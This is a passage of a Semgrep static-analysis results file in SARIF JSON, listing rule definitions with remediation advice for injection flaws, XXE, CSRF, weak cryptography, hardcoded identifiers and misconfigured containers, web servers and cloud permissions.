('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"help":{"markdown":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Account ID detected. While not considered sensitive information, it is important to use them and share them carefully. For that reason it would be preferrable avoiding to hardcoded it here. Instead, read the value from an environment variable or keep the value in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-account-id.detected-aws-account-id","id":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","name":"generic.secrets.security.detected-aws-account-id.detected-aws-account-id","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-account-id.detected-aws-account-id"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for javax.xml.parsers.SAXParserFactory. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","id":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","name":"go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/config/](https://flask-wtf.readthedocs.io/en/1.2.x/config/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. If this is intentional, remember that with `WTF_CSRF_CHECK_DEFAULT` set to `False` the CSRF tokens are still enabled and included, but the check no longer happens automatically, which weakens the security of the application. Doing the check manually requires a call to `csrf.protect()` before handling the request. An appropriate place to do this is a `@app.before_request` decorated function."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","id":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","name":"python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-wtf-csrf-check-default-false.flask-wtf-csrf-check-default-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `eval()` function evaluates JavaScript code represented as a string. Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use `eval()`. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-eval.tainted-eval","id":"javascript.aws-lambda.security.tainted-eval.tainted-eval","name":"javascript.aws-lambda.security.tainted-eval.tainted-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-eval.tainted-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5","id":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","name":"java.lang.security.audit.crypto.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","id":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","name":"kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-gradle.ktor-development-mode-gradle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HockeyApp detected"},"help":{"markdown":"HockeyApp detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"HockeyApp detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-hockeyapp.detected-hockeyapp","id":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","name":"generic.secrets.security.detected-hockeyapp.detected-hockeyapp","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-hockeyapp.detected-hockeyapp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","id":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","name":"java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-httponly-false.cookie-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user.missing-user)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user.missing-user","id":"dockerfile.security.missing-user.missing-user","name":"dockerfile.security.missing-user.missing-user","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user.missing-user"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"help":{"markdown":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/addheaderredefinition.md)\n","text":"The 'add_header' directive is called in a 'location' block after headers have been set at the server block. Calling 'add_header' in the location block will actually overwrite the headers defined in the server block, no matter which headers are set. To fix this, explicitly set all headers or set all headers in the server block."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-redefinition.header-redefinition","id":"generic.nginx.security.header-redefinition.header-redefinition","name":"generic.nginx.security.header-redefinition.header-redefinition","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-redefinition.header-redefinition"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected Blowfish cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","id":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","name":"python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","id":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","name":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-process-builder.command-injection-process-builder"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"help":{"markdown":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_permission)\n - [https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-permission.html)\n","text":"The AWS Lambda permission has an AWS service principal but does not specify a source ARN. If you grant permission to a service principal without specifying the source, other accounts could potentially configure resources in their account to invoke your Lambda function. Set the source_arn value to the ARN of the AWS resource that invokes the function, eg. an S3 bucket, CloudWatch Events Rule, API Gateway, or SNS topic."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","id":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","name":"terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-permission-unrestricted-source-arn.aws-lambda-permission-unrestricted-source-arn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2)\n","text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://owasp.org/www-community/attacks/LDAP_Injection](https://owasp.org/www-community/attacks/LDAP_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/90.html](https://cwe.mitre.org/data/definitions/90.html)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, 